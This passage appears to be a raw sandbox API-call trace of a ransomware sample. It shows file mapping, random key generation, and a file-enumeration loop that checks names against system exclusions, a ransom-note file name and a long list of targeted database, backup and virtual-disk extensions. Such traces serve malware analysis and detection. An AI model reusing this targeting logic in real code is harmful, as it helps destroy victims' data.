(in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4583424) returned 1 [0091.303] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.304] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d2a0 [0091.304] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.304] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.304] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.305] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.305] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x45f300, lpName=0x0) returned 0x17c [0091.307] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x5f300) returned 0x2d50000 [0091.325] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0091.430] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0091.448] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.449] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.449] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0091.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.450] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.450] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0091.453] CloseHandle (hObject=0x17c) returned 1 [0091.453] CloseHandle (hObject=0x154) returned 1 [0091.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d2a0 | out: hHeap=0x4f0000) returned 1 [0091.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.462] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea54dff0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xea54dff0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x464289e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 1 [0091.462] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0091.462] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.462] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2=".") returned 1 [0091.462] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="..") returned 1 [0091.462] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="windows") returned 1 [0091.462] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="bootmgr") returned 1 [0091.462] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="temp") returned 1 [0091.462] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="pagefile.sys") returned 1 [0091.462] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="boot") returned 1 [0091.462] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="ids.txt") returned 1 [0091.462] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="ntuser.dat") returned 1 [0091.462] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="perflogs") returned 1 [0091.462] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="MSBuild") returned 1 [0091.462] lstrlenW (lpString="WordpadFilter.dll") returned 17 [0091.462] lstrcpyW (in: lpString1=0x241e898, lpString2="WordpadFilter.dll" | out: lpString1="WordpadFilter.dll") returned="WordpadFilter.dll" [0091.462] lstrlenW (lpString="WordpadFilter.dll") returned 17 [0091.463] lstrlenW (lpString="Athena865") returned 9 [0091.463] lstrcmpiW (lpString1="ilter.dll", lpString2="Athena865") returned 1 [0091.463] lstrlenW (lpString=".dll") returned 4 [0091.463] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2=".dll") returned 1 [0091.463] lstrlenW (lpString=".lnk") returned 4 [0091.463] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2=".lnk") returned 1 [0091.463] lstrlenW (lpString=".ini") returned 4 [0091.463] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2=".ini") returned 1 [0091.463] lstrlenW (lpString=".sys") returned 4 [0091.463] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2=".sys") returned 1 [0091.463] lstrlenW (lpString="WordpadFilter.dll") returned 17 [0091.463] lstrlenW (lpString="bak") returned 3 [0091.463] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0091.463] lstrlenW (lpString="ba_") returned 3 [0091.463] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0091.463] lstrlenW (lpString="dbb") returned 3 [0091.463] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0091.463] lstrlenW (lpString="vmdk") returned 4 [0091.463] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0091.463] lstrlenW (lpString="rar") returned 3 [0091.463] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0091.463] lstrlenW (lpString="zip") returned 3 [0091.463] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0091.463] lstrlenW (lpString="tgz") returned 3 [0091.463] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0091.463] lstrlenW (lpString="vbox") returned 4 [0091.463] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0091.463] lstrlenW (lpString="vdi") returned 3 [0091.463] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0091.463] lstrlenW (lpString="vhd") returned 3 [0091.464] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0091.464] lstrlenW (lpString="vhdx") returned 4 [0091.464] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0091.464] lstrlenW (lpString="avhd") returned 4 [0091.464] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0091.464] lstrlenW (lpString="db") returned 2 [0091.464] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0091.464] lstrlenW (lpString="db2") returned 3 [0091.464] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0091.464] lstrlenW (lpString="db3") returned 3 [0091.464] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0091.464] lstrlenW (lpString="dbf") returned 3 [0091.464] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0091.464] lstrlenW (lpString="mdf") returned 3 [0091.464] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0091.464] lstrlenW (lpString="mdb") returned 3 [0091.464] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0091.464] lstrlenW (lpString="sql") returned 3 [0091.464] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0091.464] lstrlenW (lpString="sqlite") returned 6 [0091.464] lstrcmpiW (lpString1="er.dll", lpString2="sqlite") returned -1 [0091.464] lstrlenW (lpString="sqlite3") returned 7 [0091.464] lstrcmpiW (lpString1="ter.dll", lpString2="sqlite3") returned 1 [0091.464] lstrlenW (lpString="sqlitedb") returned 8 [0091.464] lstrcmpiW (lpString1="lter.dll", lpString2="sqlitedb") returned -1 [0091.464] lstrlenW (lpString="xml") returned 3 [0091.464] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0091.464] lstrlenW (lpString="$er") returned 3 [0091.464] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0091.464] lstrlenW (lpString="4dd") returned 3 [0091.464] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0091.464] lstrlenW (lpString="4dl") returned 3 [0091.465] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0091.465] lstrlenW (lpString="^^^") returned 3 [0091.465] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0091.465] lstrlenW (lpString="abs") returned 3 [0091.465] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0091.465] lstrlenW (lpString="abx") returned 3 [0091.465] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0091.465] lstrlenW (lpString="accdb") returned 5 [0091.465] lstrcmpiW (lpString1="r.dll", lpString2="accdb") returned 1 [0091.465] lstrlenW (lpString="accdc") returned 5 [0091.465] lstrcmpiW (lpString1="r.dll", lpString2="accdc") returned 1 [0091.465] lstrlenW (lpString="accde") returned 5 [0091.465] lstrcmpiW (lpString1="r.dll", lpString2="accde") returned 1 [0091.465] lstrlenW (lpString="accdr") returned 5 [0091.465] lstrcmpiW (lpString1="r.dll", lpString2="accdr") returned 1 [0091.465] lstrlenW (lpString="accdt") returned 5 [0091.465] lstrcmpiW (lpString1="r.dll", lpString2="accdt") returned 1 [0091.465] lstrlenW (lpString="accdw") returned 5 [0091.465] lstrcmpiW (lpString1="r.dll", lpString2="accdw") returned 1 [0091.465] lstrlenW (lpString="accft") returned 5 [0091.465] lstrcmpiW (lpString1="r.dll", lpString2="accft") returned 1 [0091.465] lstrlenW (lpString="adb") returned 3 [0091.465] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0091.465] lstrlenW (lpString="adb") returned 3 [0091.465] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0091.465] lstrlenW (lpString="ade") returned 3 [0091.465] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0091.465] lstrlenW (lpString="adf") returned 3 [0091.466] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0091.466] lstrlenW (lpString="adn") returned 3 [0091.466] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0091.466] lstrlenW (lpString="adp") returned 3 [0091.466] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0091.466] lstrlenW (lpString="alf") returned 3 [0091.466] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0091.466] lstrlenW (lpString="ask") returned 3 [0091.466] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0091.466] lstrlenW (lpString="btr") returned 3 [0091.466] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0091.466] lstrlenW (lpString="cat") returned 3 [0091.466] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0091.466] lstrlenW (lpString="cdb") returned 3 [0091.466] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0091.466] lstrlenW (lpString="ckp") returned 3 [0091.466] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0091.466] lstrlenW (lpString="cma") returned 3 [0091.466] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0091.466] lstrlenW (lpString="cpd") returned 3 [0091.466] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0091.466] lstrlenW (lpString="dacpac") returned 6 [0091.466] lstrcmpiW (lpString1="er.dll", lpString2="dacpac") returned 1 [0091.466] lstrlenW (lpString="dad") returned 3 [0091.466] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0091.466] lstrlenW (lpString="dadiagrams") returned 10 [0091.466] lstrcmpiW (lpString1="Filter.dll", lpString2="dadiagrams") returned 1 [0091.466] lstrlenW (lpString="daschema") returned 8 [0091.466] lstrcmpiW (lpString1="lter.dll", lpString2="daschema") returned 1 [0091.466] lstrlenW (lpString="db-journal") returned 10 [0091.467] lstrcmpiW (lpString1="Filter.dll", lpString2="db-journal") returned 1 [0091.467] lstrlenW (lpString="db-shm") returned 6 [0091.467] lstrcmpiW (lpString1="er.dll", lpString2="db-shm") returned 1 [0091.467] lstrlenW (lpString="db-wal") returned 6 [0091.467] lstrcmpiW (lpString1="er.dll", lpString2="db-wal") returned 1 [0091.467] lstrlenW (lpString="dbc") returned 3 [0091.467] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0091.467] lstrlenW (lpString="dbs") returned 3 [0091.467] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0091.467] lstrlenW (lpString="dbt") returned 3 [0091.467] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0091.467] lstrlenW (lpString="dbv") returned 3 [0091.467] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0091.467] lstrlenW (lpString="dbx") returned 3 [0091.467] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0091.467] lstrlenW (lpString="dcb") returned 3 [0091.467] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0091.467] lstrlenW (lpString="dct") returned 3 [0091.467] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0091.467] lstrlenW (lpString="dcx") returned 3 [0091.467] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0091.467] lstrlenW (lpString="ddl") returned 3 [0091.467] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0091.467] lstrlenW (lpString="dlis") returned 4 [0091.467] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0091.467] lstrlenW (lpString="dp1") returned 3 [0091.467] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0091.467] lstrlenW (lpString="dqy") returned 3 [0091.467] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0091.468] lstrlenW (lpString="dsk") returned 3 [0091.468] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0091.468] lstrlenW (lpString="dsn") returned 3 [0091.468] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0091.468] lstrlenW (lpString="dtsx") returned 4 [0091.468] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0091.468] lstrlenW (lpString="dxl") returned 3 [0091.468] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0091.468] lstrlenW (lpString="eco") returned 3 [0091.468] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0091.468] lstrlenW (lpString="ecx") returned 3 [0091.468] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0091.468] lstrlenW (lpString="edb") returned 3 [0091.468] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0091.468] lstrlenW (lpString="epim") returned 4 [0091.468] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0091.468] lstrlenW (lpString="fcd") returned 3 [0091.468] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0091.468] lstrlenW (lpString="fdb") returned 3 [0091.468] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0091.468] lstrlenW (lpString="fic") returned 3 [0091.468] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0091.468] lstrlenW (lpString="flexolibrary") returned 12 [0091.468] lstrcmpiW (lpString1="adFilter.dll", lpString2="flexolibrary") returned -1 [0091.468] lstrlenW (lpString="fm5") returned 3 [0091.468] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0091.468] lstrlenW (lpString="fmp") returned 3 [0091.468] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0091.468] lstrlenW (lpString="fmp12") returned 5 [0091.468] lstrcmpiW (lpString1="r.dll", lpString2="fmp12") returned 1 [0091.469] lstrlenW (lpString="fmpsl") returned 5 [0091.469] lstrcmpiW (lpString1="r.dll", lpString2="fmpsl") returned 1 [0091.469] lstrlenW (lpString="fol") returned 3 [0091.469] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0091.469] lstrlenW (lpString="fp3") returned 3 [0091.469] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0091.469] lstrlenW (lpString="fp4") returned 3 [0091.469] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0091.469] lstrlenW (lpString="fp5") returned 3 [0091.469] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0091.469] lstrlenW (lpString="fp7") returned 3 [0091.469] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0091.469] lstrlenW (lpString="fpt") returned 3 [0091.469] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0091.469] lstrlenW (lpString="frm") returned 3 [0091.469] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0091.469] lstrlenW (lpString="gdb") returned 3 [0091.469] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0091.469] lstrlenW (lpString="gdb") returned 3 [0091.469] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0091.469] lstrlenW (lpString="grdb") returned 4 [0091.469] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0091.469] lstrlenW (lpString="gwi") returned 3 [0091.469] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0091.469] lstrlenW (lpString="hdb") returned 3 [0091.469] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0091.469] lstrlenW (lpString="his") returned 3 [0091.469] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0091.469] lstrlenW (lpString="ib") returned 2 [0091.469] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0091.470] lstrlenW (lpString="idb") returned 3 [0091.470] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0091.470] lstrlenW (lpString="ihx") returned 3 [0091.470] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0091.470] lstrlenW (lpString="itdb") returned 4 [0091.470] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0091.470] lstrlenW (lpString="itw") returned 3 [0091.470] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0091.470] lstrlenW (lpString="jet") returned 3 [0091.470] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0091.470] lstrlenW (lpString="jtx") returned 3 [0091.470] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0091.470] lstrlenW (lpString="kdb") returned 3 [0091.470] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0091.470] lstrlenW (lpString="kexi") returned 4 [0091.470] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0091.470] lstrlenW (lpString="kexic") returned 5 [0091.470] lstrcmpiW (lpString1="r.dll", lpString2="kexic") returned 1 [0091.470] lstrlenW (lpString="kexis") returned 5 [0091.470] lstrcmpiW (lpString1="r.dll", lpString2="kexis") returned 1 [0091.470] lstrlenW (lpString="lgc") returned 3 [0091.470] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0091.470] lstrlenW (lpString="lwx") returned 3 [0091.470] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0091.470] lstrlenW (lpString="maf") returned 3 [0091.470] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0091.470] lstrlenW (lpString="maq") returned 3 [0091.470] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0091.470] lstrlenW (lpString="mar") returned 3 [0091.470] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0091.470] lstrlenW (lpString="marshal") returned 7 [0091.471] lstrcmpiW (lpString1="ter.dll", lpString2="marshal") returned 1 [0091.471] lstrlenW (lpString="mas") returned 3 [0091.471] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0091.471] lstrlenW (lpString="mav") returned 3 [0091.471] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0091.471] lstrlenW (lpString="maw") returned 3 [0091.471] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0091.471] lstrlenW (lpString="mdbhtml") returned 7 [0091.471] lstrcmpiW (lpString1="ter.dll", lpString2="mdbhtml") returned 1 [0091.471] lstrlenW (lpString="mdn") returned 3 [0091.471] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0091.471] lstrlenW (lpString="mdt") returned 3 [0091.471] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0091.471] lstrlenW (lpString="mfd") returned 3 [0091.471] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0091.471] lstrlenW (lpString="mpd") returned 3 [0091.471] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0091.471] lstrlenW (lpString="mrg") returned 3 [0091.471] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0091.471] lstrlenW (lpString="mud") returned 3 [0091.471] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0091.471] lstrlenW (lpString="mwb") returned 3 [0091.471] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0091.471] lstrlenW (lpString="myd") returned 3 [0091.471] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0091.471] lstrlenW (lpString="ndf") returned 3 [0091.471] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0091.471] lstrlenW (lpString="nnt") returned 3 [0091.471] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0091.471] lstrlenW (lpString="nrmlib") returned 6 [0091.471] lstrcmpiW (lpString1="er.dll", lpString2="nrmlib") returned -1 [0091.472] lstrlenW (lpString="ns2") returned 3 [0091.472] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0091.472] lstrlenW (lpString="ns3") returned 3 [0091.472] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0091.472] lstrlenW (lpString="ns4") returned 3 [0091.472] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0091.472] lstrlenW (lpString="nsf") returned 3 [0091.472] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0091.472] lstrlenW (lpString="nv") returned 2 [0091.472] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0091.472] lstrlenW (lpString="nv2") returned 3 [0091.472] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0091.472] lstrlenW (lpString="nwdb") returned 4 [0091.472] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0091.472] lstrlenW (lpString="nyf") returned 3 [0091.472] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0091.472] lstrlenW (lpString="odb") returned 3 [0091.472] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0091.472] lstrlenW (lpString="odb") returned 3 [0091.472] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0091.472] lstrlenW (lpString="oqy") returned 3 [0091.472] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0091.472] lstrlenW (lpString="ora") returned 3 [0091.472] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0091.472] lstrlenW (lpString="orx") returned 3 [0091.472] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0091.472] lstrlenW (lpString="owc") returned 3 [0091.472] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0091.472] lstrlenW (lpString="p96") returned 3 [0091.472] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0091.472] lstrlenW (lpString="p97") returned 3 [0091.473] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0091.473] lstrlenW (lpString="pan") returned 3 [0091.473] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0091.473] lstrlenW (lpString="pdb") returned 3 [0091.473] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0091.473] lstrlenW (lpString="pdm") returned 3 [0091.473] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0091.473] lstrlenW (lpString="pnz") returned 3 [0091.473] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0091.473] lstrlenW (lpString="qry") returned 3 [0091.473] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0091.473] lstrlenW (lpString="qvd") returned 3 [0091.473] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0091.473] lstrlenW (lpString="rbf") returned 3 [0091.473] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0091.473] lstrlenW (lpString="rctd") returned 4 [0091.473] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0091.473] lstrlenW (lpString="rod") returned 3 [0091.473] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0091.473] lstrlenW (lpString="rodx") returned 4 [0091.473] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0091.473] lstrlenW (lpString="rpd") returned 3 [0091.473] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0091.473] lstrlenW (lpString="rsd") returned 3 [0091.473] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0091.473] lstrlenW (lpString="sas7bdat") returned 8 [0091.473] lstrcmpiW (lpString1="lter.dll", lpString2="sas7bdat") returned -1 [0091.473] lstrlenW (lpString="sbf") returned 3 [0091.473] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0091.473] lstrlenW (lpString="scx") returned 3 [0091.473] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0091.474] lstrlenW (lpString="sdb") returned 3 [0091.474] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0091.474] lstrlenW (lpString="sdc") returned 3 [0091.474] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0091.474] lstrlenW (lpString="sdf") returned 3 [0091.474] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0091.474] lstrlenW (lpString="sis") returned 3 [0091.474] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0091.474] lstrlenW (lpString="spq") returned 3 [0091.474] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0091.474] lstrlenW (lpString="te") returned 2 [0091.474] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0091.474] lstrlenW (lpString="teacher") returned 7 [0091.474] lstrcmpiW (lpString1="ter.dll", lpString2="teacher") returned 1 [0091.474] lstrlenW (lpString="tmd") returned 3 [0091.474] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0091.474] lstrlenW (lpString="tps") returned 3 [0091.474] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0091.474] lstrlenW (lpString="trc") returned 3 [0091.474] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0091.474] lstrlenW (lpString="trc") returned 3 [0091.474] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0091.474] lstrlenW (lpString="trm") returned 3 [0091.474] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0091.474] lstrlenW (lpString="udb") returned 3 [0091.474] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0091.474] lstrlenW (lpString="udl") returned 3 [0091.474] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0091.474] lstrlenW (lpString="usr") returned 3 [0091.474] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0091.474] lstrlenW (lpString="v12") returned 3 [0091.475] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0091.475] lstrlenW (lpString="vis") returned 3 [0091.475] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0091.475] lstrlenW (lpString="vpd") returned 3 [0091.475] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0091.475] lstrlenW (lpString="vvv") returned 3 [0091.475] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0091.475] lstrlenW (lpString="wdb") returned 3 [0091.475] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0091.475] lstrlenW (lpString="wmdb") returned 4 [0091.475] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0091.475] lstrlenW (lpString="wrk") returned 3 [0091.475] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0091.475] lstrlenW (lpString="xdb") returned 3 [0091.475] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0091.475] lstrlenW (lpString="xld") returned 3 [0091.475] 